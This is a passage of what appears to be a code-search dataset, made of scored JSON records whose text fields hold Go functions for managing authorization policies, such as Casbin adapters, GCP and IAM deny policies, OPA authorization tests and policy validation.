\"RemoveFilteredPolicy\", \"enforcer\", enforcer, \"fieldIndex\", fieldIndex, \"fieldValues\", fieldValues, \"result\", result, \"error\", err)\n\t}()\n\treturn mw.next.RemoveFilteredPolicy(ctx, enforcer, fieldIndex, fieldValues)\n}", "title": "" }, { "docid": "ca15e4605d1fa150c3eecdc30458d046", "score": "0.50360906", "text": "func (r *GCPReader) ListSecurityPolicies(ctx context.Context, filter string) ([]compute.SecurityPolicy, error) {\n\tservice := compute.NewSecurityPoliciesService(r.compute)\n\n\tresources := make([]compute.SecurityPolicy, 0)\n\n\terr := service.List(r.project).\n\t\tFilter(filter).\n\t\tMaxResults(int64(r.maxResults)).\n\t\tPages(ctx, func(list *compute.SecurityPolicyList) error {\n\t\t\tfor _, res := range list.Items {\n\t\t\t\tresources = append(resources, *res)\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to list compute SecurityPolicy from google APIs\")\n\t}\n\n\treturn resources, nil\n\n}", "title": "" }, { "docid": "147e400117c40c4f03d98dd14ac6aaca", "score": "0.5033718", "text": "func (a *Adapter) LoadFilteredPolicy(model model.Model, filter interface{}) error {\n\tvar lines []CasbinRule\n\n\tbatchFilter := BatchFilter{\n\t\tfilters: []Filter{},\n\t}\n\tswitch filterValue := filter.(type) {\n\tcase Filter:\n\t\tbatchFilter.filters = []Filter{filterValue}\n\tcase *Filter:\n\t\tbatchFilter.filters = []Filter{*filterValue}\n\tcase []Filter:\n\t\tbatchFilter.filters = filterValue\n\tcase BatchFilter:\n\t\tbatchFilter = filterValue\n\tcase *BatchFilter:\n\t\tbatchFilter = *filterValue\n\tdefault:\n\t\treturn errors.New(\"unsupported filter type\")\n\t}\n\n\tfor _, f := range batchFilter.filters {\n\t\tif err := a.db.Scopes(a.filterQuery(a.db, f)).Order(\"ID\").Find(&lines).Error; err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor _, line := range lines {\n\t\t\terr := loadPolicyLine(line, model)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\ta.isFiltered = true\n\n\treturn nil\n}", "title": "" }, { "docid": "e532880dbd44a441f63c634b720b4eb3", "score": "0.5024143", "text": "func FilterPresubmits(honorOkToTest bool, gitHubClient GitHubClient, body string, pr *github.PullRequest, presubmits []config.Presubmit, logger *logrus.Entry) ([]config.Presubmit, error) {\n\torg, repo, sha := pr.Base.Repo.Owner.Login, pr.Base.Repo.Name, pr.Head.SHA\n\n\tcontextGetter := func() (sets.Set[string], sets.Set[string], error) {\n\t\tcombinedStatus, err := gitHubClient.GetCombinedStatus(org, repo, sha)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tfailedContexts, allContexts := getContexts(combinedStatus)\n\t\treturn failedContexts, allContexts, nil\n\t}\n\n\tfilter, err := pjutil.PresubmitFilter(honorOkToTest, contextGetter, body, logger)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnumber, branch := pr.Number, pr.Base.Ref\n\tchanges := config.NewGitHubDeferredChangedFilesProvider(gitHubClient, org, repo, number)\n\treturn pjutil.FilterPresubmits(filter, changes, branch, presubmits, logger)\n}", "title": "" }, { "docid": "52ad30f88a5b9e264c55c7801020b089", "score": "0.50213313", "text": "func (c *Controller) getPodsInPolicy(ns string, sel map[string]string, meshWideSelectorEnabled bool) []*v1.Pod {\n\tif ns == c.meshWatcher.Mesh().GetRootNamespace() && (sel == nil || meshWideSelectorEnabled) {\n\t\tns = metav1.NamespaceAll\n\t}\n\treturn c.podsClient.List(ns, klabels.ValidatedSetSelector(sel))\n}", "title": "" }, { "docid": "de89fc6869cdb04672ce5a2358429548", "score": "0.5020962", "text": "func (store Manager) DoPoliciesAllow(r *Request, policies map[string]Policy) error {\n\tallowed := false\n\tdeciders := []Policy{}\n\n\t//\tIterate through the list of policies\n\tfor _, p := range policies {\n\n\t\t//\tDoes the action match with this policy?\n\t\tif pm, err := store.matcher().Matches(p, p.Actions, r.Action); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t} else if !pm {\n\t\t\t//\tContinue to the next policy\n\t\t\tcontinue\n\t\t}\n\n\t\t//\tDoes the resource match with this policy?\n\t\tif pm, err := store.matcher().Matches(p, p.Resources, r.Resource); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t} else if !pm {\n\t\t\t//\tContinue to the next policy\n\t\t\tcontinue\n\t\t}\n\n\t\t//\tIs the policy effect 'deny'?\n\t\t//\tIf yes, then this overrides all allow policies. Access is denied.\n\t\tif p.Effect != policy.Allow {\n\t\t\tdeciders = append(deciders, p)\n\t\t\treturn errors.WithStack(ErrRequestForcefullyDenied)\n\t\t}\n\n\t\t//\tPolicy allows access\n\t\tallowed = true\n\t\tdeciders = append(deciders, p)\n\t}\n\n\tif !allowed {\n\t\treturn errors.WithStack(ErrRequestDenied)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "eaad890475aad54d06910dbae9d9404e", "score": "0.4989731", "text": "func resourceVolterraActiveServicePolicies() *schema.Resource {\n\treturn &schema.Resource{\n\t\tCreate: resourceVolterraActiveServicePoliciesCreate,\n\t\tRead: resourceVolterraActiveServicePoliciesRead,\n\t\tUpdate: resourceVolterraActiveServicePoliciesUpdate,\n\t\tDelete: resourceVolterraActiveServicePoliciesDelete,\n\n\t\tSchema: map[string]*schema.Schema{\n\n\t\t\t\"namespace\": {\n\t\t\t\tType: schema.TypeString,\n\t\t\t\tRequired: true,\n\t\t\t\tForceNew: true,\n\t\t\t},\n\n\t\t\t\"policies\": {\n\n\t\t\t\tType: schema.TypeList,\n\t\t\t\tRequired: true,\n\t\t\t\tElem: &schema.Resource{\n\t\t\t\t\tSchema: map[string]*schema.Schema{\n\n\t\t\t\t\t\t\"name\": {\n\t\t\t\t\t\t\tType: schema.TypeString,\n\t\t\t\t\t\t\tOptional: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"namespace\": {\n\t\t\t\t\t\t\tType: schema.TypeString,\n\t\t\t\t\t\t\tOptional: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"tenant\": {\n\t\t\t\t\t\t\tType: schema.TypeString,\n\t\t\t\t\t\t\tOptional: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "cbea44c0f766f11f1763b84c5bc4181f", "score": "0.4985843", "text": "func TestIntegrationSystemPolicies(t *testing.T) {\n\t// TODO (tc): Do we need to set up a new TestFramework instance per test?\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\tts := setupWithOPAV2p1(t)\n\tdefer ts.Shutdown(t, ctx)\n\tcl := ts.Authz\n\n\tisAuthorized := func(subject, action, resource string) func(*testing.T) {\n\t\treturn func(t *testing.T) {\n\t\t\tresp, err := cl.ProjectsAuthorized(ctx, &api_v2.ProjectsAuthorizedReq{Subjects: []string{subject}, Resource: resource, Action: action})\n\t\t\trequire.NoError(t, err)\n\t\t\tassert.ElementsMatch(t, []string{\"*\"}, resp.Projects)\n\t\t}\n\t}\n\n\tcases := map[string]func(t *testing.T){\n\t\t\"service version\": isAuthorized(\"user:ldap:alice\", \"system:serviceVersion:get\", \"system:service:version\"),\n\t\t\"introspect all\": isAuthorized(\"user:ldap:alice\", \"iam:introspect:getAll\", \"iam:introspect\"),\n\t\t\"introspect some\": isAuthorized(\"user:ldap:alice\", \"iam:introspect:getSome\", \"iam:introspect\"),\n\t\t\"introspect get\": isAuthorized(\"user:ldap:alice\", \"iam:introspect:get\", \"iam:introspect\"),\n\t\t\"get user record\": isAuthorized(\"user:local:alice\", \"iam:users:get\", \"iam:users:alice\"),\n\t\t\"list user record\": isAuthorized(\"user:local:alice\", \"iam:users:list\", \"iam:users:alice\"),\n\t\t\"d-s can do allthethings\": isAuthorized(\"tls:service:deployment-service:cert-id\", \"iam:users:delete\", \"iam:users:alice\"),\n\t\t\"ingest run as provider oc-erchef\": isAuthorized(\"tls:service:automate-cs-oc-erchef:cert\", \"infra:ingest:create\", \"infra:nodes:nodeUUID:runs\"),\n\t\t\"ingest action as provider oc-erchef\": isAuthorized(\"tls:service:automate-cs-oc-erchef:cert\", \"infra:ingest:create\", \"infra:actions\"),\n\t\t\"ingest delete as provider oc-erchef\": isAuthorized(\"tls:service:automate-cs-oc-erchef:cert\", \"infra:ingest:delete\", \"infra:nodes\"),\n\t\t\"ingest liveness as provider oc-erchef\": isAuthorized(\"tls:service:automate-cs-oc-erchef:cert\", \"infra:ingest:create\", \"infra:nodes:nodeUUID:liveness\"),\n\t\t\"ingest run as provider cs-nginx\": isAuthorized(\"tls:service:automate-cs-nginx:cert\", \"infra:ingest:create\", \"infra:nodes:nodeUUID:runs\"),\n\t\t\"ingest action as provider nginx\": isAuthorized(\"tls:service:automate-cs-nginx:cert\", \"infra:ingest:create\", \"infra:actions\"),\n\t\t\"ingest delete as provider nginx\": isAuthorized(\"tls:service:automate-cs-nginx:cert\", \"infra:ingest:delete\", \"infra:nodes\"),\n\t\t\"ingest liveness as provider nginx\": isAuthorized(\"tls:service:automate-cs-nginx:cert\", \"infra:ingest:create\", \"infra:nodes:nodeUUID:liveness\"),\n\t}\n\n\tfor desc, test := range cases {\n\t\tt.Run(desc, test)\n\t\tts.TestDB.Flush(t)\n\t}\n}", "title": "" }, { "docid": "6918d5dab382bc17ab8ca8c25df17a36", "score": "0.4985674", "text": "func TestPoliciesContents(t *testing.T) {\n\tvar numAllow, numDeny, numAllowAlways int\n\tfor _, pol := range All() {\n\t\tswitch pol {\n\t\tcase Allow():\n\t\t\tnumAllow += 1\n\t\tcase Deny():\n\t\t\tnumDeny += 1\n\t\tcase AllowAlways():\n\t\t\tnumAllowAlways += 1\n\t\t}\n\t}\n\tif numAllow != 1 || numDeny != 1 || numAllowAlways != 1 {\n\t\tt.Error(\"All() does not contain the 3 base policies exactly once.\")\n\t}\n}", "title": "" }, { "docid": "bcf2042e728b4cf4c7ee71db8995698a", "score": "0.49856067", "text": "func (e *Engine) Policies() map[string]string {\n\treturn e.policies\n}", "title": "" }, { "docid": "b76826490b6d174dbeef533cf519a85b", "score": "0.49623564", "text": "func (a *Adapter) RemovePolicies(sec string, ptype string, rules [][]string) error {\n\treturn a.db.Transaction(func(tx *gorm.DB) error {\n\t\tfor _, rule := range rules {\n\t\t\tline := a.savePolicyLine(ptype, rule)\n\t\t\tif err := a.rawDelete(tx, line); err != nil { //can't use db.Delete as we're not using primary key https://gorm.io/docs/update.html\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "45e9b142292ccaa6ae15ff19971bc19f", "score": "0.49435166", "text": "func v2DefaultPolicies() []v2Policy {\n\t// admin policy statements\n\ts1 := newV2Statement(Allow, \"\", []string{}, []string{\"*\"}, []string{\"*\"})\n\ts2 := newV2Statement(Deny, \"\", []string{}, []string{\"iam:policies:\" + constants.AdminPolicyID},\n\t\t[]string{\"iam:policies:delete\", \"iam:policies:update\"})\n\n\t// editor policy statements\n\ts3 := newV2Statement(Allow, constants.EditorRoleID, []string{}, []string{\"*\"}, []string{})\n\n\t// viewer policy statements\n\ts4 := newV2Statement(Allow, constants.ViewerRoleID, []string{}, []string{\"*\"}, []string{})\n\n\t// ingest policy statements\n\ts5 := newV2Statement(Allow, constants.IngestRoleID, []string{}, []string{\"*\"}, []string{})\n\n\tadmin := v2Member{Name: constants.LocalAdminsTeamSubject}\n\teditors := v2Member{Name: constants.LocalEditorsTeamSubject}\n\tviewers := v2Member{Name: constants.LocalViewersTeamSubject}\n\n\tadminPol := v2Policy{\n\t\tID: constants.AdminPolicyID,\n\t\tName: \"Administrator\",\n\t\tMembers: []v2Member{admin},\n\t\tStatements: []v2Statement{s1, s2},\n\t\tType: ChefManaged,\n\t}\n\n\teditorPol := v2Policy{\n\t\tID: constants.EditorPolicyID,\n\t\tName: \"Editors\",\n\t\tMembers: []v2Member{editors},\n\t\tStatements: []v2Statement{s3},\n\t\tType: ChefManaged,\n\t}\n\n\tviewerPol := v2Policy{\n\t\tID: constants.ViewerPolicyID,\n\t\tName: \"Viewers\",\n\t\tMembers: []v2Member{viewers},\n\t\tStatements: []v2Statement{s4},\n\t\tType: ChefManaged,\n\t}\n\n\tingestPol := v2Policy{\n\t\tID: constants.IngestPolicyID,\n\t\tName: \"Ingest\",\n\t\tMembers: []v2Member{},\n\t\tStatements: []v2Statement{s5},\n\t\tType: ChefManaged,\n\t}\n\n\treturn []v2Policy{adminPol, editorPol, viewerPol, ingestPol}\n}", "title": "" }, { "docid": "0dd9fdb192982560e04a0058af14c001", "score": "0.49424607", "text": "func filterOutPermissions(gcpClient ccgcp.Client, projectName string, permList []string, logger log.FieldLogger) ([]string, error) {\n\n\tfilteredPerms := []string{}\n\n\tif err := refreshTestablePermissions(gcpClient, projectName, logger); err != nil {\n\t\treturn filteredPerms, err\n\t}\n\n\tfor _, perm := range permList {\n\t\tif testablePerms.permSet.Has(perm) {\n\t\t\tfilteredPerms = append(filteredPerms, perm)\n\t\t} else {\n\t\t\tlogger.Warnf(\"Ignoring permission checking of %s at project level\", perm)\n\t\t}\n\t}\n\treturn filteredPerms, nil\n}", "title": "" }, { "docid": "c4027b698c05af45f5dc1d8de63b6b35", "score": "0.49356", "text": "func TestPolicyList(t *testing.T) {\n\ttestCache, cacheChannel, testChannel := beforeTestingSetup_readonlypolicycache()\n\tdefer close(cacheChannel)\n\n\tvar policies *authorizationapi.PolicyList\n\tvar err error\n\n\tnamespace := \"namespaceTwo\"\n\n\tutilwait.Until(func() {\n\t\tpolicies, err = testCache.List(nil, namespace)\n\n\t\tif (err == nil) &&\n\t\t\t(policies != nil) &&\n\t\t\t(len(policies.Items) == 2) {\n\t\t\tclose(testChannel)\n\t\t}\n\t}, 1*time.Millisecond, testChannel)\n\n\tswitch {\n\tcase err != nil:\n\t\tt.Errorf(\"Error getting policies using ReadOnlyPolicyCache: %v\", err)\n\tcase policies == nil:\n\t\tt.Error(\"PoliciesList is nil\")\n\tcase len(policies.Items) != 2:\n\t\tt.Errorf(\"Expected policyList to have 2 policies, had %d\", len(policies.Items))\n\t}\n}", "title": "" }, { "docid": "c7f8445ce6c4c879d2884e9762f6a3db", "score": "0.49107167", "text": "func ValidatePolicy(policy *pb.Policy, defs map[string]*pb.VisaType, sources map[string]*pb.TrustedSource, args map[string]string) (string, error) {\n\tusedArgs := make(map[string]bool)\n\tvalArgs := args\n\tif valArgs == nil {\n\t\t// To allow variable substitution to be attempted, set up variables to substitute based on definitions (regex match not required).\n\t\tvalArgs = make(map[string]string)\n\t\tfor v := range policy.VariableDefinitions {\n\t\t\tvalArgs[v] = \"a\"\n\t\t}\n\t}\n\tfor i, any := range policy.AnyOf {\n\t\tfor j, clause := range any.AllOf {\n\t\t\tif err := validateVisaType(clause.Type, defs); err != nil {\n\t\t\t\treturn httputils.StatusPath(\"anyOf\", strconv.Itoa(i), \"allOf\", strconv.Itoa(j), \"type\"), err\n\t\t\t}\n\t\t\tif _, err := expandSources(clause.Type, clause.Source, sources); err != nil {\n\t\t\t\treturn httputils.StatusPath(\"anyOf\", strconv.Itoa(i), \"allOf\", strconv.Itoa(j), \"source\"), err\n\t\t\t}\n\t\t\tif _, err := expandValues(clause.Value, valArgs); err != nil {\n\t\t\t\treturn httputils.StatusPath(\"anyOf\", strconv.Itoa(i), \"allOf\", strconv.Itoa(j), \"value\"), err\n\t\t\t}\n\t\t\tvalArgs, err := strutil.ExtractVariables(clause.Value)\n\t\t\tif err != nil {\n\t\t\t\treturn httputils.StatusPath(\"anyOf\", strconv.Itoa(i), \"allOf\", strconv.Itoa(j), \"value\"), err\n\t\t\t}\n\t\t\tfor arg := range valArgs {\n\t\t\t\tusedArgs[arg] = true\n\t\t\t}\n\t\t\tif _, err := expandBy(clause.By); err != nil {\n\t\t\t\treturn httputils.StatusPath(\"anyOf\", strconv.Itoa(i), \"allOf\", strconv.Itoa(j), \"by\"), err\n\t\t\t}\n\t\t}\n\t}\n\tfor name, v := range policy.VariableDefinitions {\n\t\tif len(v.Regexp) == 0 {\n\t\t\treturn httputils.StatusPath(\"variableDefinitions\", name, \"regexp\"), fmt.Errorf(\"regular expression not specified\")\n\t\t}\n\t\tre, err := regexp.Compile(v.Regexp)\n\t\tif err != nil {\n\t\t\treturn httputils.StatusPath(\"variableDefinitions\", name, \"regexp\"), fmt.Errorf(\"invalid regular expression: %v\", err)\n\t\t}\n\t\tif args != nil {\n\t\t\targ, ok := args[name]\n\t\t\tif !ok {\n\t\t\t\treturn httputils.StatusPath(\"variableDefinitions\", name), fmt.Errorf(\"variable not provided\")\n\t\t\t}\n\t\t\tif !re.Match([]byte(arg)) {\n\t\t\t\treturn httputils.StatusPath(\"variableDefinitions\", name), fmt.Errorf(\"variable value %q invalid format\", arg)\n\t\t\t}\n\t\t}\n\t\tif v.Ui == nil || v.Ui[\"description\"] == \"\" {\n\t\t\treturn httputils.StatusPath(\"variableDefinitions\", name, \"ui\", \"description\"), fmt.Errorf(\"description not provided\")\n\t\t}\n\t}\n\n\tprefix := \"variableDefinitions\"\n\tif args != nil {\n\t\tprefix = \"vars\"\n\t}\n\tfor arg := range usedArgs {\n\t\tif len(policy.VariableDefinitions) == 0 {\n\t\t\treturn httputils.StatusPath(prefix, arg), fmt.Errorf(\"policy does not use variables\")\n\t\t}\n\t\tif _, ok := policy.VariableDefinitions[arg]; !ok {\n\t\t\treturn httputils.StatusPath(prefix, arg), fmt.Errorf(\"undefined variable\")\n\t\t}\n\t\tif args != nil {\n\t\t\tif _, ok := args[arg]; !ok {\n\t\t\t\treturn httputils.StatusPath(prefix, arg), fmt.Errorf(\"undefined variable\")\n\t\t\t}\n\t\t}\n\t}\n\tfor arg := range args {\n\t\tif _, ok := usedArgs[arg]; !ok {\n\t\t\treturn httputils.StatusPath(prefix, arg), fmt.Errorf(\"unused variable\")\n\t\t}\n\t}\n\treturn \"\", nil\n}", "title": "" }, { "docid": "5130158a818dad65d98e878cd2900ae4", "score": "0.49074733", "text": "func expandAuthorizationPolicy(c *Client, f *AuthorizationPolicy) (map[string]interface{}, error) {\n\tm := make(map[string]interface{})\n\tif v, err := dcl.DeriveField(\"projects/*/locations/%s/authorizationPolicies/%s\", f.Name, f.Location, f.Name); err != nil {\n\t\treturn nil, fmt.Errorf(\"error expanding Name into name: %w\", err)\n\t} else if !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"name\"] = v\n\t}\n\tif v := f.Description; !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"description\"] = v\n\t}\n\tif v := f.CreateTime; !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"createTime\"] = v\n\t}\n\tif v := f.UpdateTime; !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"updateTime\"] = v\n\t}\n\tif v := f.Labels; !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"labels\"] = v\n\t}\n\tif v := f.Action; !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"action\"] = v\n\t}\n\tif v, err := expandAuthorizationPolicyRulesSlice(c, f.Rules); err != nil {\n\t\treturn nil, fmt.Errorf(\"error expanding Rules into rules: %w\", err)\n\t} else if !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"rules\"] = v\n\t}\n\tif v, err := dcl.EmptyValue(); err != nil {\n\t\treturn nil, fmt.Errorf(\"error expanding Project into project: %w\", err)\n\t} else if !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"project\"] = v\n\t}\n\tif v, err := dcl.EmptyValue(); err != nil {\n\t\treturn nil, fmt.Errorf(\"error expanding Location into location: %w\", err)\n\t} else if !dcl.IsEmptyValueIndirect(v) {\n\t\tm[\"location\"] = v\n\t}\n\n\treturn m, nil\n}", "title": "" }, { "docid": "2900a46a484288c3fd5c9248e0bac017", "score": "0.4905935", "text": "func flattenPolicyItems(policyItems []mongodbatlas.PolicyItem) []ApiPolicyItemView {\n\tcloudPolicyItems := make([]ApiPolicyItemView, 0)\n\tfor _, policyItem := range policyItems {\n\t\tsnapPolicy := ApiPolicyItemView{\n\t\t\tID: &policyItem.ID,\n\t\t\tFrequencyInterval: &policyItem.FrequencyInterval,\n\t\t\tFrequencyType: &policyItem.FrequencyType,\n\t\t\tRetentionUnit: &policyItem.RetentionUnit,\n\t\t\tRetentionValue: &policyItem.RetentionValue,\n\t\t}\n\t\tcloudPolicyItems = append(cloudPolicyItems, snapPolicy)\n\t}\n\treturn cloudPolicyItems\n}", "title": "" }, { "docid": "0342357ee1eefd87ded04256443b97f1", "score": "0.488825", "text": "func (mw *loggingMiddleware) RemoveFilteredNamedPolicy(ctx context.Context, enforcer EnforcerHandler, pType string, fieldIndex int, fieldValues []string) (result bool, err error) {\n\tdefer func() {\n\t\tmw.logger.Log(\"method\", \"RemoveFilteredNamedPolicy\", \"enforcer\", enforcer, \"pType\", pType, \"fieldIndex\", fieldIndex, \"fieldValues\", fieldValues, \"result\", result, \"error\", err)\n\t}()\n\treturn mw.next.RemoveFilteredNamedPolicy(ctx, enforcer, pType, fieldIndex, fieldValues)\n}", "title": "" }, { "docid": "6b81bd11d666ac0678f99980c8256b77", "score": "0.4876345", "text": "func (a *PoliciesApiService) GetPolicies(ctx _context.Context, stackId string, siteId string, policyGroupId string) apiGetPoliciesRequest {\n\treturn apiGetPoliciesRequest{\n\t\tapiService: a,\n\t\tctx: ctx,\n\t\tstackId: stackId,\n\t\tsiteId: siteId,\n\t\tpolicyGroupId: policyGroupId,\n\t}\n}", "title": "" }, { "docid": "29a6447f649e46f1a9a6141c4236e02e", "score": "0.48696622", "text": "func createDenyPolicy(w io.Writer, projectID, policyID string) error {\n\t// You can add deny policies to organizations, folders, and projects.\n\t// Each of these resources can have up to 5 deny policies.\n\t// Deny policies contain deny rules, which specify the following:\n\t// 1. The permissions to deny and/or exempt.\n\t// 2. The principals that are denied, or exempted from denial.\n\t// 3. An optional condition on when to enforce the deny rules.\n\n\t// projectID := \"your_project_id\"\n\t// policyID := \"your_policy_id\"\n\n\tctx := context.Background()\n\tpoliciesClient, err := iam.NewPoliciesClient(ctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"NewPoliciesClient: %w\", err)\n\t}\n\tdefer policiesClient.Close()\n\n\t// Each deny policy is attached to an organization, folder, or project.\n\t// To work with deny policies, specify the attachment point.\n\t//\n\t// Its format can be one of the following:\n\t// 1. cloudresourcemanager.googleapis.com/organizations/ORG_ID\n\t// 2. cloudresourcemanager.googleapis.com/folders/FOLDER_ID\n\t// 3. cloudresourcemanager.googleapis.com/projects/PROJECT_ID\n\t//\n\t// The attachment point is identified by its URL-encoded resource name. Hence, replace\n\t// the \"/\" with \"%%2F\".\n\tattachmentPoint := fmt.Sprintf(\n\t\t\"cloudresourcemanager.googleapis.com%%2Fprojects%%2F%s\",\n\t\tprojectID,\n\t)\n\n\tdenyRule := &iampb.DenyRule{\n\t\t// Add one or more principals who should be denied the permissions specified in this rule.\n\t\t// For more information on allowed values,\n\t\t// see: https://cloud.google.com/iam/help/deny/principal-identifiers\n\t\tDeniedPrincipals: []string{\"principalSet://goog/public:all\"},\n\t\t// Optionally, set the principals who should be exempted from the\n\t\t// list of denied principals. For example, if you want to deny certain permissions\n\t\t// to a group but exempt a few principals, then add those here.\n\t\t// ExceptionPrincipals: []string{\"principalSet://goog/group/project-admins@example.com\"},\n\t\t//\n\t\t// Set the permissions to deny.\n\t\t// The permission value is of the format: service_fqdn/resource.action\n\t\t// For the list of supported permissions,\n\t\t// see: https://cloud.google.com/iam/help/deny/supported-permissions\n\t\tDeniedPermissions: []string{\"cloudresourcemanager.googleapis.com/projects.delete\"},\n\t\t// Optionally, add the permissions to be exempted from this rule.\n\t\t// Meaning, the deny rule will not be applicable to these permissions.\n\t\t// ExceptionPermissions: []string{\"cloudresourcemanager.googleapis.com/projects.create\"},\n\t\t//\n\t\t// Set the condition which will enforce the deny rule.\n\t\t// If this condition is true, the deny rule will be applicable.\n\t\t// Else, the rule will not be enforced.\n\t\t// The expression uses Common Expression Language syntax (CEL).\n\t\t// Here we block access based on tags.\n\t\t//\n\t\t// Here, we create a deny rule that denies the\n\t\t// cloudresourcemanager.googleapis.com/projects.delete permission\n\t\t// to everyone except project-admins@example.com for resources that are tagged test.\n\t\t// A tag is a key-value pair that can be attached to an organization, folder, or project.\n\t\t// For more info, see: https://cloud.google.com/iam/docs/deny-access#create-deny-policy\n\t\tDenialCondition: &expr.Expr{\n\t\t\tExpression: \"!resource.matchTag('12345678/env', 'test')\",\n\t\t},\n\t}\n\n\t// Add the deny rule and a description for it.\n\tpolicyRule := &iampb.PolicyRule{\n\t\tDescription: \"block all principals from deleting projects, unless the principal is a member of project-admins@example.com and the project being deleted has a tag with the value test\",\n\t\tKind: &iampb.PolicyRule_DenyRule{\n\t\t\tDenyRule: denyRule,\n\t\t},\n\t}\n\n\tpolicy := &iampb.Policy{\n\t\tDisplayName: \"Restrict project deletion access\",\n\t\tRules: [](*iampb.PolicyRule){policyRule},\n\t}\n\n\treq := &iampb.CreatePolicyRequest{\n\t\t// Construct the full path of the resource's deny policies.\n\t\t// Its format is: \"policies/ATTACHMENT_POINT/denypolicies\"\n\t\tParent: fmt.Sprintf(\"policies/%s/denypolicies\", attachmentPoint),\n\t\tPolicy: policy,\n\t\tPolicyId: policyID,\n\t}\n\top, err := policiesClient.CreatePolicy(ctx, req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to create policy: %w\", err)\n\t}\n\n\tpolicy, err = op.Wait(ctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to wait for the operation: %w\", err)\n\t}\n\n\tfmt.Fprintf(w, \"Policy %s created\\n\", policy.GetName())\n\n\treturn nil\n}", "title": "" }, { "docid": "73858a580daf06cf1fa96004aa23e39a", "score": "0.4867213", "text": "func (p *Policy) Filter(filter shared.Filter) *Policy {\n\tp.filters = append(p.filters, filter)\n\treturn p\n}", "title": "" }, { "docid": "ec47965e75a0b5eaa0f68e869048c608", "score": "0.48637348", "text": "func applyPolicies(policies []*policy.Policy, original *table.Path) (bool, *table.Path) {\n\n\tvar applied bool = true\n\n\tfor _, pol := range policies {\n\t\tif result, action, newpath := pol.Apply(*original); result {\n\t\t\tlog.Debug(\"newpath: \", newpath)\n\t\t\tif action == policy.ROUTE_TYPE_REJECT {\n\t\t\t\tlog.Debug(\"path was rejected: \", original)\n\t\t\t\t// return applied, nil, this means path was rejected\n\t\t\t\treturn applied, nil\n\t\t\t} else {\n\t\t\t\t// return applied, new path\n\t\t\t\treturn applied, &newpath\n\t\t\t}\n\t\t}\n\t}\n\tlog.Debug(\"no policy applied.\", original)\n\t// return not applied, original path\n\treturn !applied, original\n}", "title": "" }, { "docid": "cb6399eaf0a898d143379c1a22bd643a", "score": "0.48595852", "text": "func (am *AMConnection) ExportPolicies(format, realm string) (out string, err error) {\n\turl := fmt.Sprintf(\"/json/policies?realm=%s&_queryFilter=true\", realm)\n\treq, err := am.createNewRequest(\"GET\", url, nil)\n\n\tresult, err := crest.GetCRESTResult(req)\n\tif err != nil {\n\t\tglog.Errorf(\"Could not get policies, err=%v\", err)\n\t\treturn \"\", err\n\t}\n\n\tglog.Infof(\"Crest result = %+v\", result)\n\n\tvar m = make(map[string]string)\n\n\tif realm != \"\" {\n\t\tm[\"realm\"] = realm\n\t}\n\n\tvar obj = &crest.FRObject{POLICY, m, &result.Result}\n\n\treturn obj.Marshal(format)\n\n}", "title": "" }, { "docid": "aec862529ad078f864e0ada02b677133", "score": "0.48490566", "text": "func (s *grpcService) RemoveFilteredPolicy(ctx context.Context, req *pb.FilteredPolicyRequest) (*pb.BoolResponse, error) {\n\t_, resp, err := s.removeFilteredPolicy.ServeGRPC(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp.(*pb.BoolResponse), nil\n}", "title": "" }, { "docid": "ab41be5201141154a44ffdc691e37b33", "score": "0.48483723", "text": "func (d *DistributedEnforcer) UpdateFilteredPoliciesSelf(shouldPersist func() bool, sec string, ptype string, newRules [][]string, fieldIndex int, fieldValues ...string) (bool, error) {\n\td.m.Lock()\n\tdefer d.m.Unlock()\n\tvar (\n\t\toldRules [][]string\n\t\terr error\n\t)\n\tif shouldPersist != nil && shouldPersist() {\n\t\toldRules, err = d.adapter.(persist.UpdatableAdapter).UpdateFilteredPolicies(sec, ptype, newRules, fieldIndex, fieldValues...)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t}\n\n\truleChanged := !d.model.RemovePolicies(sec, ptype, oldRules)\n\td.model.AddPolicies(sec, ptype, newRules)\n\truleChanged = ruleChanged && len(newRules) != 0\n\tif !ruleChanged {\n\t\treturn ruleChanged, nil\n\t}\n\n\tif sec == \"g\" {\n\t\terr := d.BuildIncrementalRoleLinks(model.PolicyRemove, ptype, oldRules) // remove the old rule\n\t\tif err != nil {\n\t\t\treturn ruleChanged, err\n\t\t}\n\t\terr = d.BuildIncrementalRoleLinks(model.PolicyAdd, ptype, newRules) // add the new rule\n\t\tif err != nil {\n\t\t\treturn ruleChanged, err\n\t\t}\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "491dac669f00004f146fb5d031af18cb", "score": "0.48409888", "text": "func expandPolicyItems(cloudPolicyItems []ApiPolicyItemView) []mongodbatlas.PolicyItem {\n\tpolicyItems := make([]mongodbatlas.PolicyItem, 0)\n\tfor _, policyItem := range cloudPolicyItems {\n\t\tcPolicyItem := mongodbatlas.PolicyItem{\n\t\t\tID: cast.ToString(policyItem.ID),\n\t\t\tFrequencyInterval: 